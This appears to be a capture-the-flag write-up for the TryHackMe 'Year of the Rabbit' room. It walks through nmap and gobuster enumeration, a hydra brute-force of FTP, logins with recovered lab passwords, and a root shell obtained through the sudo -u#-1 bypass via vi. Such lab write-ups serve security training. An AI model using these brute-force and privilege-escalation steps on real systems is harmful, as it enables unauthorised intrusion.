# Year of the Rabbit

**Room Link:** <https://tryhackme.com/room/yearoftherabbit>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3eAUQzfbC653JLUrdw7n%2Fimage.png?alt=media&#x26;token=067f7c27-d47d-497a-ba86-690df3a09868" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found.

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWZOeVJI7XoWdZyPKKgyx%2Fimage.png?alt=media&#x26;token=000eb5a9-7e10-4e49-b3df-b20fefb5b7b4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJbIv7QCsCLDnQ75OEhW7%2Fimage.png?alt=media&#x26;token=b0eb1946-9cad-4ba6-90db-c3cc360e5a29" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDNsksJsRBxt5RXyva78X%2Fimage.png?alt=media&#x26;token=358700ef-d70b-436d-a015-664304b5baf1" alt=""><figcaption></figcaption></figure>

### Turn off Javascript

```
Enter about:config into the search bar and select Accept the Risk and Continue.
Enter javascript.enabled into the search box at the top of the page.
Select the javascript.enabled toggle to change the value to false.
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHbjuZtkbTGWbC64oAXQr%2Fimage.png?alt=media&#x26;token=82b6b948-c149-4642-94b7-6c8e20e3b973" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FecqEIM8bNjToiii5PNNr%2Fimage.png?alt=media&#x26;token=06c757ee-3840-4bf9-a339-6d4d4abf8f5f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBjwhRUH9Qa7sUFyCmQ7F%2Fimage.png?alt=media&#x26;token=b36ccadc-6192-4906-b8cd-97c529a93292" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRGAgvT2BK314azq9ecmT%2Fimage.png?alt=media&#x26;token=371a9f89-2c02-461b-bd54-c1a299ae2416" alt=""><figcaption></figcaption></figure>

**Kali**

```
strings Hot_Babe.png 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUh8PNr2Pk00j5hqCxBOA%2Fimage.png?alt=media&#x26;token=2c5fe83d-5ba0-4548-ade7-0f909bdf102c" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -l ftpuser -P passwords.txt ftp://$VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fw3OhZZ2ZYaf68j83Spft%2Fimage.png?alt=media&#x26;token=b0e16ba8-da74-4bee-89b4-101456cbd165" alt=""><figcaption></figcaption></figure>

## FTP

**Kali**

```
ftp $VICTIM
password: 5iez1wGXKfPKQ
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FP8BG9JHyrUEqHhQacQyw%2Fimage.png?alt=media&#x26;token=f40dd875-af64-4e15-92b8-42bb026bffb4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhZbauxFwdExnXezGk0j4%2Fimage.png?alt=media&#x26;token=f4405ae3-70ef-4b5d-9e95-c6510bf44893" alt=""><figcaption></figcaption></figure>

Elis creds is encoded with something called Brain fuck. There are tools online to decode it.

**Link:** <https://www.dcode.fr/brainfuck-language>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYQZktQCHyHKHtWJXYrD1%2Fimage.png?alt=media&#x26;token=47f4affa-96b5-44c8-ae38-b28066573790" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh eli@$VICTIM
Password: DSpDiM1wAEwid
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHl5sTmC4PuUsFYY7EFim%2Fimage.png?alt=media&#x26;token=2b03f28a-1b0c-4389-929d-d5770561ac74" alt=""><figcaption></figcaption></figure>

**Victim**

```
locate s3cr3t
cat cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\! 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDi1SoCWnZVuYoCNH4flC%2Fimage.png?alt=media&#x26;token=c5feefe3-0e09-45d9-ad15-046e652e0412" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FyIMAUhhyPROjDHdoSdzZ%2Fimage.png?alt=media&#x26;token=41f1e3bd-75f9-469b-983f-8be83350ae4c" alt=""><figcaption></figcaption></figure>

**Victim**

```
su gwendoline
Password: MniVCQVhQHUNI
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYa9D2yCKwQjTNE4rQqV3%2Fimage.png?alt=media&#x26;token=86865522-2e34-4bc7-b06e-44083a4f691d" alt=""><figcaption></figcaption></figure>

## **Privilege escalation**

Mostly followed the link below, we can't run sudo with root as we have (ALL , !root) here. if we had (ALL , ALL) it would be easy to escalate. Adding sudo -u#-1  to infront of the command allows us to bypass this.

**Link:** <https://www.exploit-db.com/exploits/47502>

**Victim**

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
#While vi is open run:
:!/bin/sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F63IKjLmmbXmX2Mh2FEG2%2Fimage.png?alt=media&#x26;token=67fe3e9a-9603-45f1-8ccf-a97138b46e98" alt=""><figcaption></figcaption></figure>
